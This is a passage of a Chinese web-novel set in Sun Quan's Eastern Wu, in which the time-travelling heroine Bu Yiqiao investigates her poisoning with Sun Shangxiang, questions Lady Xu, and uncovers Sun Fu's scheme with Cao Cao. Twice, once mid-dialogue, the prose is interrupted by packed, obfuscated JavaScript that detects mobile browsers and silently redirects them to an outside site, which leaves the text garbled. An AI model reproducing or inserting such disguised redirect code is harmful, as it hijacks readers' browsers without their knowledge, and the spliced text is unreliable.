“身子要紧,按时服药,乖乖等我回来。” 孙权刚要起身,余光瞥见她眼角划出的泪痕,身体一顿,又坐了回去,伸出手,用指腹轻轻揩去那湿痕。 “那是我的第一个孩子……我的第一个亲骨肉啊……” 压抑太久,等到大夫离去,吴夫人也折身离开,步一乔终于敢放肆呜咽出声,肩膀开始控制不住地微微发抖。 她隐约猜到下药之人是谁,也猜得到缘由。这可是未来吴国皇帝的长子,必然会影响后续历史。好在胎儿尚未成形,以这个时代的医疗条件虽难挽回,但若在现代,或许还有转圜的余地。 下药之人,定是算准了一切动的手。 她需要做些什么,来确认自己的猜测。 “也是我的第一个孩子。”孙权郑重道。 “她没了……尽管不愿生,但我还是期待过她是男孩,还是女孩……”步一乔的声音被抽噎打断,“她怎么就这样没了……孙权……为什么……她是不是不喜欢我……不想见到我……” 孙权倾身过去,将她不断颤抖的身体整个拥入自己怀中。 “或许,她想晚一点来到人世间。躲过乱世,安康顺遂地长大。” “可是……”步一乔将脸深深埋下去,“你之所以决定娶我,不正是因为这个孩子吗?” 孙权搂着她的手臂微微一僵,他松开些许,低头看向她湿润的眼睛。 “此话从何讲起?” “自知我怀孕后,你便决意要娶我为妻。在那之前,你虽提过,却从未……从未如此急切。” 孙权沉默片刻,忽地无奈轻笑,指节分明的手轻抚过她散落的鬓发。 “原来是担心这个。提亲是早晚的事,即便没有这个孩子,我孙权想娶的,始终只有你步一乔一人。” 他捧起她的脸,目光灼灼如星。 “我之所以急切,是怕你多想。与你有关之事,我自然是听你的。我要的……只是你留在我身边,让我护着你。” 步一乔怔怔地望着他的眼睛,本想回抱住他,可心一横,缩进被窝将自己藏起来,万不可泄露自己哭诉的缘由。 “不是要去会稽吗?快走吧。” 孙权俯身,轻轻拉下她头顶的被褥,在她额角落下一个温热的吻。 “好好养身子,若是寻我,只管差人来信,我即刻赶回。” 帘栊轻响,他的脚步声渐远。步一乔这才从被中探出头来,望着微微晃动的门帘出神。 身子相比几日前出事缓和不少,她对来去匆忙的孩子惋惜,但更在意到底何人害自己。 “本以为是你自己杀了你的孩子……但方才看着你的眼睛,结论又被推翻了。” 孙权的眸子是特别的,尤其对步一乔而言。无论何时何地,只要注视片刻,便能辨别出。 以为是教授为了阻止步一乔改写历史,下了狠手,看来不是他。 “呵,我竟怀疑他会伤害我……”步一乔苦笑。一个挨过她的刀子却毫不记仇的人,怎么可能狠心至此,害她到这般田地。 既如此,那便重新推理。 下药之人,必定对孙权了如指掌。既能自由出入孙府内院,孙权前脚刚走他随后便到。明明起了杀心,却在最后关头心软道歉。 “一个既想害孙权,却又念及情谊,终究狠不下心做绝的人……会是谁?” 孙权继位初期,确实处在四面楚歌的困境。 正史记载,孙策死后,最有资格接班的宗室成员是孙贲。他此前已被朝廷任命为豫章太守,有地盘和兵力。孙策临终前,张昭等人皆曾提及孙贲,但孙策坚 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孙翊严厉暴躁,步一乔虽未曾与之接触,但从孙权偶尔的提及中,能感知到兄弟之间并无矛盾,一柔一刚,各自安然。另外,孙翊对其夫人徐氏颇为敬重。徐氏擅长占卜,他每逢大事,常请夫人起卦问卜。 “此事,不太像孙翊自己的决断。”步一乔脚尖轻点地面,思绪渐明,“怕是有人暗中胁迫,逼他走出这一步,不得不为?” 无端猜忌他人终究不妥。她沉下一口气,打算寻个更体面的法子试探虚实。 “嫂嫂!我来陪你啦!” 孙尚香人未至声先到。 “今日训练结束了?”步一乔抬眸笑问。 少女在她身边坐下,潇洒地翘起腿,得意道:“跑了整整三里地!要不是突然落雪,母亲非要我回来,我还能再跑三里!” “跑那么远作甚?” “练腿呀!将来飞檐走壁,才不至于脚滑,再摔下来。”她说着,自己先笑了起来。 步一乔忍俊不禁:“待我病好了,陪你一起跑。” “真的?!那可说定了!”孙尚香欢喜地挽上她的手臂,“不过……等嫂嫂病好,第一件事,不该是与我二哥成婚吗?” “此事——” “好嫂嫂,你就应了吧!”孙尚香晃着她的手臂,“我二哥相貌英俊,气度出众,最重要的是,他若是不娶你,怕真要孤家寡人一辈子了!” “不会的。”步一乔轻轻摇头,目光垂落,“他身为江东之主,联姻是必然之举。他的身份,注定不能任性而为。娶我,于他一统江东毫无助益,只会徒增非议。” 是啊,江东新主放着各大世族的贵女不娶,偏要娶一个来历不明的逃难女子,传出去岂不沦为笑谈?吴夫人虽看出孙权对她的情意,却也从未提起婚嫁之事。想来也是不愿儿子因私情而误了大局。 “会的会的!”孙尚香不依不饶,“你看二哥都这般年纪了,好不容易对谁动了心,嫂嫂可不能丢下他不管啊!” 步一乔被她逗得一笑:“听你这话,倒像是我要逃婚似的。” “那不如……”孙尚香眼睛一亮,凑近了些,“嫂嫂开个条件!我去跟二哥说道,如何?” 此话倒是点醒了步一乔。 “好啊!那你帮我找一样东西,若是找到了,我便认真考虑你二哥的事。” “嫂嫂只管吩咐!万死不辞!” 步一乔倾身向前,“去你三哥的厢房,找一件玄色的夜行服。” 孙尚香脸上的笑意瞬间凝固,眼中满是错愕:“……啊?” 52. 弦丝万缕 孙尚香万万没想到,步一乔会提出这样古怪的要求。三哥孙翊的厢房?夜行衣?这和她想象中那些风花雪月的条件相去甚远。 “嫂嫂要那东西做什么?” “虽然是我随口一说,但若真找到了,不觉得很刺激吗?” “刺激……相当刺激!交给我,嫂嫂放心!但凡是同一个色的,我都给嫂嫂找出来!” 她一把抓住步一乔的手,用力握了握,随即利落地翻身下榻:“我这就去准备!趁着三哥和二哥去会稽,保证神不知鬼不觉!” “等等!孙翊也去了?”步一乔揉了揉自己还疼的小腹,内心如同煎熬,最后得出结论,“我尽量不拖后腿,带上我!” 卧床静养了几天,加之步一乔根本无法安静待在厢房等消息,倒不如两人协同作战,亲眼确认更靠谱。 孙尚香犹豫地看向她虚弱的身子,“可嫂嫂你……二哥回来会生气的。” 步一乔强撑着站起身,“别管他,冲!” 孙尚香被她感染,顿时将顾虑抛到脑后,兴奋地握紧拳头:“冲!” * 月黑风高夜,正是潜伏时。两道黑影悄咪咪地溜到了孙翊厢房的后墙根下。 孙尚香不愧是自幼在府中长大的,对巡逻守卫的路线了如指掌,每一步都恰到好处地避开了巡夜的家丁。 两人躲在假山后面,孙尚香指了指前方尚未点灯的厢房。 “嫂嫂,前面就是三哥和三嫂的厢房,我走前边儿,你跟紧我!” “收到!” 步一乔刚说完,忽然腹间一阵隐痛,让她不得不停下脚步缓一缓。就这么一耽搁,孙尚香已经灵巧地钻进空无一人的厢房,消失在眼前。 无奈,步一乔只得找了个石凳坐下等待,顺便望风。谁知刚坐下不久,就听见身后传来轻柔的脚步声,一个温婉的声音响起: “步姑娘?深夜为何在此?” 她倏地抬头,月光下,一位身着淡紫衣裙的年轻女子正含笑望着她,手中还捧着一卷竹简,正是孙翊的夫人徐氏。 “徐、徐夫人!”她估计唤得大声,好让室内的孙尚香听见,“药性大了些,睡不着,出来走走。不曾想,迷了路。” 好拙劣的借口,不过勉强说得过去。 徐夫人温婉一笑,道:“夜深露重,姑娘身子尚未痊愈,还是当心些好。我方才卜了一卦,卦象显示今夜会有贵客临门。没想到,应在了姑娘身上。” 步一乔心头一紧,面上却故作惊喜:“是、是吗……其实,我一直想抽空请夫人为我算一卦,不知夫人现在可否有空?” “当然。步姑娘屋内请。” “屋内?!”步一乔差点咬到舌头,“呃……室外吧,冷了些,不过灵气充沛,算得更准确些。” “想不到步姑娘也精通占卜之术?” “谈不上精通,不过曾在乡里见过几个神棍……不是,是几位高人。”步一乔一边胡诌,一边竖起耳朵留意房内的动静。 就在这时,厢房内突然传来一声轻微的碰撞声,像是有人不小心踢到了什么东西。 徐夫人眸光微动,却依然保持着得体的微笑:“看来今夜除了步姑娘,还有别的‘贵客''呢。” 步一乔后背瞬间冒出冷汗,正想着该如何解释,徐夫人却忽然掩口轻笑:“许是府上那只野猫又溜进去了。步姑娘既然想在室外占卜,那便依你。不知姑娘想算什么?” “算……算人!”步一乔急中生智,“我与好友走散了,想知道她在哪里!” “乐意之至,步姑娘这边请。” 徐夫人优雅地做了个手势,引步一乔走向院中的石桌。 “请姑娘在心中默念好友的容貌与姓名。”徐夫人取出三枚铜钱,神色庄重。 步一乔配合地闭上眼睛。 就在这时,厢房的窗户悄无声息地开了一条缝,一个黑影利落地翻了出来,正是孙尚香。她对步一乔比了个成功的手势,随即猫着腰迅速隐入假山后。 步一乔松了口气,睁开眼睛,好奇地问:“夫人,可算出来了?” 徐夫人凝视着手中的铜钱,眉头微蹙:“姑娘这位好友……有些许特别呢。” “夫人此话怎讲?” “此人现在北方,尚且安康。不过卦象指示,数年内,空有劫难。此难或家破人亡,但姑娘的好友,却能因其美貌,而化险为夷。” “真的?!” 步一乔倏地兴奋,果然如她所料,甄霖穿越到建安年间,替代了甄宓。算算拜托张昭送去的信也该到了,倘若真是甄霖,以她的英语水平定能看懂自己写的内容。 “步姑娘很担心这位友人?”徐夫人轻声问道。 “嗯……又在北方,我没法去寻她,亲眼确认她的安全。” “为何不可?” “啊?” 徐夫人浅浅一笑:“虽说是乱世,但南北之间的商贸往来并未中断。步姑娘若真想去,有的是法子。” “话是这么说……”步一乔轻叹一声。可孙权怎么会允许她去北方?定然不会。 “是担心仲谋阻拦?”徐夫人一语道破。 步一乔颔首,“眼下的状况,别说北方了,怕是连吴郡他都不许我离开半步。” 徐夫人浅笑着将铜钱收拢,道:“要我替姑娘算算姻缘吗?” “我的姻缘?不必了吧。” “安心。此事天知地知,你知我知,没姑娘允许,我不会告诉任何人。” 步一乔心中暗笑:这哪里是好心要为她占卜,分明是徐夫人自己想知道卦象吧? “那便麻烦夫人了。” 徐夫人垂眸凝神,三枚铜钱在她指间飞速流转。月光为她的侧脸镀上一层清辉,平添几分神秘。 “离为火,坎为水……”她轻声念着卦辞,忽然抬眸看向步一乔,“水火既济,却是未济之象。姑娘这段姻缘,看似水到渠成,实则暗藏变数。” 步一乔心头微动:“愿闻其详。” “卦象显示,姑娘与此人确是命定的缘分,相伴此生。不过……”徐夫人目光深邃,“此缘分并非姻缘,相守白头,或许是另一种身份。” 步一乔微微一怔,随即了然一笑:“夫人是说,我与那人最终不会成为夫妻?” “天机不可尽泄。”徐夫人仰头望天,“世间最长久的关系,未必一定是夫妻。有时以知己、挚友、同盟的身份相伴,反而能走得更远。” 她意味深长地看了步一乔一眼:“就像这江东基业,靠的从来不只是姻亲关系。” 步一乔若有所思。徐夫人这番话,似乎另有所指。 “夫人卦象中的人……是我心中所想的那人吗?” “或者说,姑娘此生的姻缘线,只与他一人牵连。” 步一乔内心燃气小小的雀跃,颔首道:“多谢夫人。” 月光流转,徐夫人收起铜钱,忽然轻声道:“卦象是死的,人心是活的。姑娘与那人的缘分,终究由你们自来定。好了,你身子尚未痊愈,我从你回房。” “嗯……谢谢徐夫人。”步一乔顺从地起身,临走前不忘朝假山方向使了个眼色,示意孙尚香见机行事。 二人沿着回廊缓步而行,走到厢房门前,徐夫人突然拉住步一乔的手,道:“成就霸业,虽并非全然与姻亲相关,但不得不有。男人三妻四妾,为的不止是自己欢愉,还有千秋万代。” 步一乔不明白徐夫人为何突然说这番话,似懂非懂地颔首,“夫人说得是。” 徐夫人深深看了她一眼,不再多言,转身离去。 待那抹身影消失在回廊尽头,步一乔轻轻合上门扉。窗外立即传来细微响动,孙尚香利落地翻窗而入,手中稳稳捧着那件玄色夜行衣,眼角眉梢尽是得意。 “嫂嫂,得手了!想不到三哥还有这等癖好!” 步一乔接过她递来的衣裳,凑到鼻尖深嗅,与那日谋害自己之人的味道一模一样。 果然是孙翊。 “嫂嫂怎会知道三哥房中有这身行头?” “猜的。” “猜这么准?!”孙尚香瞪大眼睛,“嫂嫂莫非也会算命?” 步一乔将夜行衣仔细叠好,唇角微扬:“不是算命,是算人心。有些冷了,想和我去生堆火暖和暖和吗?” “是要烧了吗!好!” 两人借着月色,一前一后溜进西侧的膳房。步一乔利落地将夜行衣塞进灶孔深处,孙尚香已经熟练地升起火来。 橘红的火苗蹿起,渐渐将衣物吞噬。她们并肩坐在灶前的小凳上,感受着暖意缓缓驱散夜寒。 “嫂嫂,答应你的事完成了,你答应我的,可别忘了。”孙尚香靠在步一乔肩头,声音渐渐含糊。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672786|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“一言既出,驷马难追。”步一乔轻抚她的发丝,看着火光在少女英气的脸上跳跃。 孙尚香还想说什么,却抵不住袭来的困意。连日练武的疲惫,加上今夜这番折腾,让她在温暖的灶火前渐渐闭上眼睛,就这么靠着步一乔睡着了。 步一乔轻轻调整姿势,让孙尚香靠得更舒服些,目光却始终凝视着灶孔中翻卷的灰烬。 替犯人毁尸灭迹,不愧是自己能做出来的事。孙翊也真是,留在房中就不怕被人搜出来,暴露了行踪吗。 步一乔主动帮孙翊销毁证据,并非一时冲动。孙翊行事向来直来直往,若真要对她下手,绝不会在事到临头时心软道歉。更不会把如此关键的证物,就这般随意地藏在自家衣柜里。 这分明是有人设下的局。为了从内挑拨孙氏兄弟的关系,借刀杀人。 “好聪明的伎俩啊……” * “又在走神。” 小乔怀抱琵琶结束一曲,见步一乔撑着脑袋神游天外,不由轻笑。步一乔恍惚回神,目光不自觉地落在小乔尚未显怀的腹部。 “你身子如何?” “该我问你吧,是不是有什么事瞒着我,没告诉我?”小乔轻笑着将琵琶交给身旁的侍女,“听孙府侍从说你病了,却执意不许我探望,现在可好些了?” “不过是染了风寒,让你担心了” 不过步一乔眼下更担心的是小乔。余慕周所说的危险,到底发生在什么时候?若真等到事发才应对,恐怕为时已晚。 “要不我搬到周府来吧?”步一乔得出结论,“做个侍女,昼夜护在你身边。” 小乔掩唇失笑:“江东之主的步夫人做我的侍女?” “还没成亲呢,算不得夫人。”步一乔摆摆手,越想越觉得这主意可行,“回头我跟吴夫人说说,搬来与你同住。反正就一墙之隔,打声招呼的事。” “那仲谋呢?”小乔挑眉,“他会同意?” “他——”步一乔顿时泄了气,“估计不会同意。” 小乔露出一个“你不是很清楚嘛”的表情,执起步一乔的手柔声道:“有你这份心便好啦,放心吧,夫君护得比你还紧,不会出什么事。” 正是因为周瑜也救不下才寻得我啊。步一乔俯下身,侧耳贴上小乔的肚子。 “外甥女啊,七个月后要平安降生啊。姨会保护好母亲的!” “外甥女?是女儿?”小乔惊奇。 步一乔这才意识到自己说漏了嘴,忙直起身,支吾道:“是……吧。我猜的。” “女儿好,”小乔轻抚腹部,唇角含笑,“若真能像夫君,定是个聪慧伶俐的姑娘。” 步一乔看着小乔沉浸在幸福中的侧脸,将所有的担忧与算计暂时压在心底,面上只露出一个温和的笑意。 又陪小乔说了一会儿话,直到侍女提醒该用药了,步一乔才起身告辞。 返回屋内,步一乔发现,白日里随手放在案几上的一卷竹简,此刻被人挪动了位置。被她压在竹简下焚烧过的碎布消失了。 “这么快就坐不住了?” 步一乔的厢房一墙之隔便是周府,恰在此时,隔壁突然传来尖叫声。 是小乔! 不及思考,步一乔已经冲向周府。 刚出大门,就看见一个蒙面黑衣人扛着不断挣扎的小乔,从周府冲向不远处停靠的马匹。 “站住!” 步一乔疾冲而上,一把抓住贼人的胳膊。那人反手一刀劈来,她侧身闪避,刀锋却仍划过她的左臂,鲜血瞬间浸透衣袖。 剧痛让她几乎松手,但她咬紧牙关,反而用受伤的手臂死死缠住黑衣人的腿。 “嫂嫂!我来帮你!”孙尚香的清叱划破。 就在黑衣人举刀再刺的瞬间,一道银芒破空而来,孙尚香的长剑精准架住了致命一击。 “带乔夫人走!”步一乔忍痛喊道,右手仍死死拽着黑衣人的衣襟。 孙尚香会意,拉过惊魂未定的小乔护在身后。黑衣人见势不妙,抬脚踹在步一乔手臂的伤口上,挣脱纠缠翻身上马。 马蹄声疾驰而去。孙尚香正要追击,却见步一乔踉跄跪地,臂上鲜血已染红地面。 “嫂嫂!”她急忙转身扶住步一乔,却听见怀中人急促的低语。 “需即刻通知周瑜,我知道想害小乔的人是谁了!” 53. 松窗棋罢 侍女递上打湿的热布巾,坐在榻边的孙权顺手接下,耐心替步一乔擦拭面部。 “往后远行,我是不是都该把你带上?免得我转身一走,你就安分不下来,又把自己弄伤。” “情况紧急嘛……没办法的事。” 步一乔看着孙权愁眉苦脸的样子,刚想伸手去揉他的眉心,忘了手臂有伤,疼得一声叫唤。 见她疼得蹙眉,孙权下意识就想伸手去安抚,可指尖刚到眼前,步一乔却忘了自己的伤,急急抬手想挡开他关心则乱的手。 “呃啊——”动作幅度太大,剧烈的抽痛让步一乔叫出声来。 孙权的手立刻悬在半空,旋即稳稳扶住她受伤的手臂,“疼吗?” 步一乔委委屈屈地抬眼,老实点头:“疼……” “活该。” “你——” “谁叫你不长记性。两府上下那么多人,非得自己冲上去?若不是尚香恰巧路过看见,伤的又岂止是手臂?” 孙权叹了口气,指尖终是落在紧蹙的眉心上,极轻地揉了揉。 步一乔放软声音和态度,用没受伤的手轻轻拽了拽他的衣袖。 “好啦,我知道自己太冲动,你也别生气啦。再说下去……我就得生气了。” “你呀……”孙权被她恶人先告状的模样弄得没了脾气,只能无奈摇头,“到底谁才是年长那个?” “唔……是我。” 步一乔二十一,孙权十九。 “谁叫你老是欺负我!弄得姐姐一点威严都没有!” “到底是谁欺负谁?初见分明是——” 步一乔眼尖瞥见门外似有侍从身影走过,心下着急,也顾不得伤,倏地抬手捂住孙权的嘴,同时吃痛哀嚎:“啊!好痛!你看!明摆着你欺负我!” 孙权先是一愣,随即实在没忍住,在她在掌心下闷闷地笑出声。 待那脚步声确实远去,步一乔才松了口气,讪讪地收回手。 孙权看着她微微泛红的脸颊,也不再继续先前的话题,只是眼底的笑意还未完全散去。 步一乔定了定神,目光掠过他年轻却已初具威仪的脸庞,神色认真起来:“此前你说,知晓了两种结局,那过程呢?江东这几十年间发生了哪些事,你都一清二楚?” “怎会?来去匆忙,又时隔久远,只记得曾与你提过的那些。” “真的?”步一乔眉眼间尽是怀疑,“鉴于你之前骗过我,我深表怀疑。” 孙权轻笑。 “这次是真的。跟着兄长征战这些年,看过生死,经历聚散,远比那些模糊的‘已知’更真切。未来的路……”他深深看着步一乔,“需要一步步去丈量,岂能寄托于虚无的预言?” “尽说些冠冕堂皇的话……”步一乔无心揶揄,不再追问,“那下次你丈量前程的时候,记得叫上我。我负责改写历史,你负责撰写历史。” “两者,不是背道而驰?” “不许顶姐姐的嘴!”步一乔佯怒瞪他,“另外,姐姐命你接下来的日子专心治理江东,追查凶手一事,就交给我了。” “不行。” 果然一谈及凶手,孙权立刻收敛了笑意。明明步一乔瞅准了时机才敢抛出的。 “我心中已有目标,只需搜集证据,便可——” “然后又弄一身伤吗?”孙权直言打断,“为何不肯乖乖待在我身后,让我全全护着你呢?” “因为……闲不住。” “什么?”孙权没听清,或者说不敢相信自己的耳朵。 步一乔索性破罐破摔,理直气壮地重复:“因为闲不住啊!这年代什么都没有,没游戏没书看,我真不知道做些什么解闷。追查凶手好歹能活动筋骨,动动脑子嘛。” “追查凶手叫解闷?”孙权简直气结。 “安心啦,这次不会受伤的,我保证!”她信誓旦旦举起受伤的那只手,又疼得叫唤。 “你的保证从来不奏效。”孙权毫不留情地戳穿,想起她次次这般信誓旦旦。 步一乔被堵得语塞,眼珠一转,忽然凑近他面前。 “那……若你应了我,事成之后,我搬你房里住,如何?” 孙权安静看着近在咫尺一脸期待的步一乔。 “我们这些日子,本就一直宿在一处。” “唔——那换一个!你想要什么?只管告诉姐姐!” 她话音刚落,便见孙权微微前倾,拉近了那本就呼吸可闻的距离。 “我要你,做我夫人。” “……” 步一乔所有准备好的俏皮话和讨价还价,瞬间卡在了喉间。这招猝不及防打得着实好,她眸子眨了又眨,竟一时忘了该如何回应。 “不说话,就当你答应我了。”孙权眼底泛起笑意,轻抚她的发顶,“绝不可做危险之事,江东上下随你差遣,但若有半分损伤……” 他顿了顿,目光在她缠着绷带的手臂上一扫。 “这婚事,可就要提前操办了。” 步一乔终于回过神,羞恼地抓起软枕掷向他:“你、你这是逼婚!以权谋私!” 孙权轻松接住软枕,唇角微扬,将软枕仔细垫回她腰后:“我这是对夫人……表达万分的信任与期待。” 虔诚的吻落在步一乔额间。 “所以,请务必完好无损地回来。” * 手臂裹着纱布耷拉着,步一乔看着眼自己的装扮,索性捞过剩余的纱布裹在额头。务必把自己包装得命不久矣的样子。 而后,步一乔便静静地靠坐在床榻上,等待某人。 “步姑娘,我来看望你。” 来了! 步一乔立即剧烈咳嗽起来,一边“艰难”地试图起身。孙翊之妻徐夫人见状快步上前轻轻按住她。 “怎会伤得这般重?听闻姑娘为救乔夫人,奋不顾身……如今府内上下,无不感佩姑娘的义勇。”徐夫人看着步一乔满身的纱布,眉宇间满是真切担忧,“额头也伤着了?但愿不会留下疤痕。” “多谢夫人挂念,还特地来看我。我与乔夫人情同姐妹,岂能坐视不理。只是没想到,贼人如此猖獗,竟敢在孙府周府之间行凶。” 步一乔抬起眼,看向徐夫人。看似无意,实则试探。 “说起来,那贼人的身形动作,不知怎的,总让我觉得有些……眼熟,仿佛在府中哪里见过一般。夫人平日出入,可曾留意过什么形迹可疑之人?” 徐夫人执起茶壶,为她斟了杯温水,动作没有丝毫停滞,脸上依旧是得体的微笑。 “府中护卫森严,往来皆是登记在册之人。若说形迹可疑……我倒未曾留意。” “这么说,是家贼?” 步一乔接过杯盏,眼睛没有一刻离开徐夫人。轻轻抿了口水,状似无意道:“还有一事,说来奇怪。那日我虽被其所害,但昏迷前,听到那人对我说了声‘抱歉’。” 她刻意顿了顿,清晰地看到徐夫人执壶的手几不可查地顿了一下,虽然只有一瞬,便恢复了正常。 “哦?”徐夫人抬眼,“这倒真是奇了。行凶害人,竟还会心生歉意?莫非……此人并非穷凶极恶之徒,而是受人胁迫,不得已而为之?” “夫人也这么认为?想不到你我二人如此默契。” 步一乔目光灼灼地看向徐夫人。徐夫人波澜不惊地回望步一乔。 “夫人素来聪慧,又精于卜算,依您看,这幕后之人,会是谁?” 徐夫人莞尔一笑,道:“步姑娘这语气不像在询问,倒似心中有数,来与我对质?” “对质倒不是,我虽有怀疑,但不敢断然。想听听夫人的意见。” 徐夫人闻言,垂眸浅笑。 “卜算之术,窥的是天机,测的是大势,却最难算的,是人心。” 她抬起眼,目光清亮。 “我只能说,姑娘所疑之人,或许是一把刀,但执刀之人……藏在黑暗里。” 步一乔心下一凛,追问道:“夫人是说,幕后之人并非我怀疑的那位?另有其人?” “是与不是,重要吗?”徐夫人微微倾身,“关键在于,它伤了姑娘,意图撼动周郎,目标明确,且计划周全……是想折断支撑江东的梁柱啊。” “可夫人不觉得奇怪吗?整个江东,几乎没人知道我腹中的孩子是孙家血脉。就连吴夫人都以为,是我逃难前与亡夫怀的。” 兜兜转转几圈,步一乔这句话终于让徐夫人脸上的温婉面具,出现裂痕。 徐夫人执杯的手彻底顿住了,抬眼看向步一乔。 “此事,除了我与主公,本不该有第三人知晓。我百思不得其解,猜想是那日我将怀孕一事告诉主公时,隔墙有耳。当时在议事厅门外,门内有周瑜、张昭、鲁肃,以及……” 步一乔浅笑。 “孙翊。” “绝非是夫君!夫君一无所知!”徐夫人放弃之前的迂回,直言道,“姑娘可认得孙辅?” “孙辅?是主公的哪位宗亲?我入府日短,许多人还认不全。” 徐夫人微微颔首,道:“夫君堂兄,手握兵权,驻防西线。他……曾多次在宗室宴饮时,讥讽二哥无能治理江东。” 步一乔适时露出震惊之色:“竟有此事?!” “更重要的是,他与夫君……素来不睦。半年前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678447|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾因军务分配之事,在议事厅上当众羞辱过夫君。尤其大哥离世后,私下屡次拿夫君与二哥对比,羞辱二人。” 步一乔立即抓住了关键:“所以夫人怀疑是孙辅?是分析得出,还是怀恨在心?” 徐夫人脸上的血色褪去几分,沉默了片刻,再开口时,难掩艰涩。 “姑娘……果然心如明镜。于公,孙辅确有动机与能力;于私,我无法不恨他利用我夫君,将他置于如此险境。” 步一乔没想过把人逼到这般地步,翻身下榻,递了绣帕给徐夫人,走到门口张望四周,确认无人后关紧房门。 “夫人是知道了我把三公子的衣裳烧毁之事而来的吧?” “是……夫君日夜担忧,我便来……试探姑娘。” 步一乔轻笑,“放心吧,我自是知道你夫妻二人并非主谋,才主动替你们销毁证据的。你们也真是,不该早点烧了吗?留在房中,就不怕孙权真挨着搜,把人揪出来?” “步姑娘,我今日前来,我不求你原谅夫君,只求你看在夫君是主公的亲弟弟,若真有东窗事发那一日,请在主公面前,为他陈情一句……他性子虽烈,但对基业从无二心!” 步一乔看着她眼中真切的痛苦,知道这不再是演戏。徐夫人此刻,只是一个试图在风暴中保住丈夫的妻子。 “我知道。所以,孙辅拿捏了三公子的什么软肋?” 徐夫人嘴唇颤抖了下,斟酌再三低声吐露:“……是我。我的母族在江北,孙辅挟持母族,以全族性命要挟。” “孙辅没这能耐,倒是他背后的人……诛灭九族轻而易举啊。” “姑娘已知晓幕后之人?!”徐夫人震惊。 步一乔感慨:“如今天下,除了曹孟德,难找第二人啊。” 历史与推理在此刻严丝合缝地对接上:孙辅通曹,并以徐夫人母族胁迫孙翊,意图制造混乱,一石二鸟。 “夫人今日坦诚相告,于我而言便是雪中送炭。我向你保证,若三公子确实是被胁迫,且未造成不可挽回之后果,我必尽力向主公说明原委,保他周全。” 说完,步一乔不禁笑了笑。 “我替三公子销毁证据,早已是帮凶,现在,我们是一条船上的人了。” 徐夫人怔怔地看着她,眼眶蓦地红了。这一次,不再是表演,而是劫后余生般的、真实的动容。她紧紧握住步一乔没有受伤的那只手。 “姑娘……大恩……” “现在不是说这些的时候。”步一乔反手轻轻回握了她一下,神色转为凝重,“当务之急,是稳住船身,除掉水下凿船的人。夫人,我需要你帮我。” “姑娘但说无妨!” “第一,关于孙辅胁迫三公子的具体‘安排’,你知道多少?他除了让三公子的人行凶,可还有别的指令?三公子手中,可有孙辅通曹的实证?” 徐夫人蹙眉思索片刻,快速答道:“具体安排,夫君怕我担忧,并未尽数告知。但孙辅确曾数次派人传信,信使皆是生面孔,偏北方口音。” “想来是曹操派给孙辅的细作了。”步一乔抬手抵着下颌沉思,“那些密信可有留存?” “皆是口头传信。” “只是三公子这里没有,毕竟孙辅和曹操联络,是有存档的。”有史可鉴,步一乔无需进一步猜疑。 徐夫人没打听懂步一乔的话,懵懂地望着认真思考的她。 “往后若再有人来信,劳烦夫人第一时间告知我。劝住三公子,绝不可再受孙辅挑唆,届时他就算再被逼无奈,也无法挽回了。” “我明白!”徐夫人用力点头,“姑娘放心,夫君向来听我的。” 猝不及防被秀了恩爱,步一乔不禁挑眉,问道:“夫人把三公子调教得很好啊,有什么办法吗?” 徐夫人掩唇轻笑,颊边泛起淡淡的红晕:“哪有什么秘诀。不过是成婚这些年,夫君格外爱黏着我罢了。” “真好。”步一乔叹了口气,“我所知道的孙家人,各个妻管严。除了……某人。” 孙坚将军素来听从吴夫人,孙翊也对徐夫人言听计从。若是自己真与孙权成了婚,怕是要成为这个家里的例外了。 徐夫人被她这话逗得掩唇轻笑:“姑娘口中的‘某人’,莫非是二哥?说来,等你二人成婚,日后我得叫你二嫂呢。” 步一乔耳根微热,别开脸去:“没决定成亲呢……” 徐夫人笑意更深,“那日替姑娘占卜,我已算出二哥与姑娘婚期在即。卦象显示,红鸾星动,乃是天作之合。” “恐怕,要让夫人失望了。” “是么?那,拭目以待?此番,必是天命难违。” 54. 关于缠绵 “我伤势已痊愈,正好都督在,有事想同主公商量。” 议事厅内,步一乔立于堂中,周瑜静坐一侧,孙权端坐于前。 孙权蹙眉不解她今日又是哪一出,道:“且先说与我听听。” “我要搬去周府住。” “咳。”周瑜莫名其妙咳嗽一声。 孙权蹙眉更深。 “……为何?两府仅一墙之隔,为何偏要搬去周府?” 步一乔悄无声息瞪了眼偷笑的周瑜,理直气壮地抬头道:“自然是向都督请教音律。他琴艺冠绝江东,我既想学,自然该住得近些,早晚请教才方便。” 周瑜又轻咳一声,优雅地挺直背肌,整理衣襟。却对上孙权目光后,旋即泄气。 “说实话。”孙权自然晓得步一乔不是去学什么音律,定有别的目的。 “想日夜守在乔夫人身边,护她周全。之前的事若非来得及时,后果不堪设想。” “日夜?”周瑜轻笑道,“夜里就不劳烦步姑娘了。若只是白日相伴,也不必劳烦搬来隔壁。” “来来回回的多麻烦。”步一乔眨眨眼,“我保证不会打扰都督和乔夫人——” “不行。”孙权斩钉截铁地打断,“我不同意。” “为什么?”步一乔不服气地仰起脸。 孙权站起身,一步步走到停在步一乔跟前,垂眸看她。目光先是落在她仍缠着纱布的手臂上,继而望进她眼里。 